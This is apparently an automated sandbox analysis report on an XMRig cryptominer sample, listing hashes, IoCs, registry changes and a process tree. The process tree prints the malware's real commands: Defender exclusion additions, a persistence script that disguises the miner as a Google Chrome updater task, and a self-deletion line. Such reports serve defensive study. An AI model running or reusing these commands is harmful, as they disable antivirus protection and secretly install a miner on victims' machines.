xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1800s
max time network
1794s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
20/08/2023, 00:19

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General

Target

RmJBfzgfbWELMdgn.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 4124 created 3168	4124	RmJBfzgfbWELMdgn.exe	54
PID 4124 created 3168	4124	RmJBfzgfbWELMdgn.exe	54
PID 4124 created 3168	4124	RmJBfzgfbWELMdgn.exe	54
PID 4124 created 3168	4124	RmJBfzgfbWELMdgn.exe	54
PID 1944 created 3168	1944	updater.exe	54
PID 1944 created 3168	1944	updater.exe	54
PID 1944 created 3168	1944	updater.exe	54
PID 1944 created 3168	1944	updater.exe	54
PID 3208 created 3168	3208	conhost.exe	54
PID 1944 created 3168	1944	updater.exe	54

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral4/memory/3908-260-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-261-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-265-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-269-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-271-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-273-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-275-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-277-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-279-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-281-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-283-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-285-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-287-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-289-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-291-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-293-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-295-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-297-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-299-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-301-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-303-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-305-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-307-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-309-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-311-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-313-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-315-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-317-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-319-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig
behavioral4/memory/3908-321-0x00007FF730B30000-0x00007FF731324000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
1944	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/3908-255-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-260-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-261-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-265-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-269-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-271-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-273-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-275-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-277-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-279-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-281-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-283-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-285-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-287-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-289-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-291-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-293-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-295-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-297-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-299-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-301-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-303-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-305-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-307-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-309-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-311-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-313-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-315-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-317-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-319-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx
behavioral4/memory/3908-321-0x00007FF730B30000-0x00007FF731324000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1944 set thread context of 3208	1944	updater.exe	104
PID 1944 set thread context of 3908	1944	updater.exe	110

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	RmJBfzgfbWELMdgn.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1300	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4124	RmJBfzgfbWELMdgn.exe
4124	RmJBfzgfbWELMdgn.exe
2152	powershell.exe
2152	powershell.exe
4124	RmJBfzgfbWELMdgn.exe
4124	RmJBfzgfbWELMdgn.exe
3320	powershell.exe
3320	powershell.exe
4124	RmJBfzgfbWELMdgn.exe
4124	RmJBfzgfbWELMdgn.exe
4124	RmJBfzgfbWELMdgn.exe
4124	RmJBfzgfbWELMdgn.exe
2160	powershell.exe
2160	powershell.exe
1944	updater.exe
1944	updater.exe
4300	powershell.exe
4300	powershell.exe
1944	updater.exe
1944	updater.exe
1808	powershell.exe
1808	powershell.exe
1944	updater.exe
1944	updater.exe
1944	updater.exe
1944	updater.exe
3208	conhost.exe
3208	conhost.exe
1944	updater.exe
1944	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
668	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3320	powershell.exe
Token: SeSecurityPrivilege	3320	powershell.exe
Token: SeTakeOwnershipPrivilege	3320	powershell.exe
Token: SeLoadDriverPrivilege	3320	powershell.exe
Token: SeSystemProfilePrivilege	3320	powershell.exe
Token: SeSystemtimePrivilege	3320	powershell.exe
Token: SeProfSingleProcessPrivilege	3320	powershell.exe
Token: SeIncBasePriorityPrivilege	3320	powershell.exe
Token: SeCreatePagefilePrivilege	3320	powershell.exe
Token: SeBackupPrivilege	3320	powershell.exe
Token: SeRestorePrivilege	3320	powershell.exe
Token: SeShutdownPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeSystemEnvironmentPrivilege	3320	powershell.exe
Token: SeRemoteShutdownPrivilege	3320	powershell.exe
Token: SeUndockPrivilege	3320	powershell.exe
Token: SeManageVolumePrivilege	3320	powershell.exe
Token: 33	3320	powershell.exe
Token: 34	3320	powershell.exe
Token: 35	3320	powershell.exe
Token: 36	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3320	powershell.exe
Token: SeSecurityPrivilege	3320	powershell.exe
Token: SeTakeOwnershipPrivilege	3320	powershell.exe
Token: SeLoadDriverPrivilege	3320	powershell.exe
Token: SeSystemProfilePrivilege	3320	powershell.exe
Token: SeSystemtimePrivilege	3320	powershell.exe
Token: SeProfSingleProcessPrivilege	3320	powershell.exe
Token: SeIncBasePriorityPrivilege	3320	powershell.exe
Token: SeCreatePagefilePrivilege	3320	powershell.exe
Token: SeBackupPrivilege	3320	powershell.exe
Token: SeRestorePrivilege	3320	powershell.exe
Token: SeShutdownPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeSystemEnvironmentPrivilege	3320	powershell.exe
Token: SeRemoteShutdownPrivilege	3320	powershell.exe
Token: SeUndockPrivilege	3320	powershell.exe
Token: SeManageVolumePrivilege	3320	powershell.exe
Token: 33	3320	powershell.exe
Token: 34	3320	powershell.exe
Token: 35	3320	powershell.exe
Token: 36	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3320	powershell.exe
Token: SeSecurityPrivilege	3320	powershell.exe
Token: SeTakeOwnershipPrivilege	3320	powershell.exe
Token: SeLoadDriverPrivilege	3320	powershell.exe
Token: SeSystemProfilePrivilege	3320	powershell.exe
Token: SeSystemtimePrivilege	3320	powershell.exe
Token: SeProfSingleProcessPrivilege	3320	powershell.exe
Token: SeIncBasePriorityPrivilege	3320	powershell.exe
Token: SeCreatePagefilePrivilege	3320	powershell.exe
Token: SeBackupPrivilege	3320	powershell.exe
Token: SeRestorePrivilege	3320	powershell.exe
Token: SeShutdownPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeSystemEnvironmentPrivilege	3320	powershell.exe
Token: SeRemoteShutdownPrivilege	3320	powershell.exe
Token: SeUndockPrivilege	3320	powershell.exe
Token: SeManageVolumePrivilege	3320	powershell.exe
Token: 33	3320	powershell.exe
Token: 34	3320	powershell.exe
Token: 35	3320	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 5044	1332	cmd.exe	96
PID 1332 wrote to memory of 5044	1332	cmd.exe	96
PID 2160 wrote to memory of 3996	2160	powershell.exe	97
PID 2160 wrote to memory of 3996	2160	powershell.exe	97
PID 1944 wrote to memory of 3208	1944	updater.exe	104
PID 944 wrote to memory of 1300	944	cmd.exe	109
PID 944 wrote to memory of 1300	944	cmd.exe	109
PID 1944 wrote to memory of 3908	1944	updater.exe	110

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3168
- C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe
  "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3320
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1808
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3208
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:1300
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:5008
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3908

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
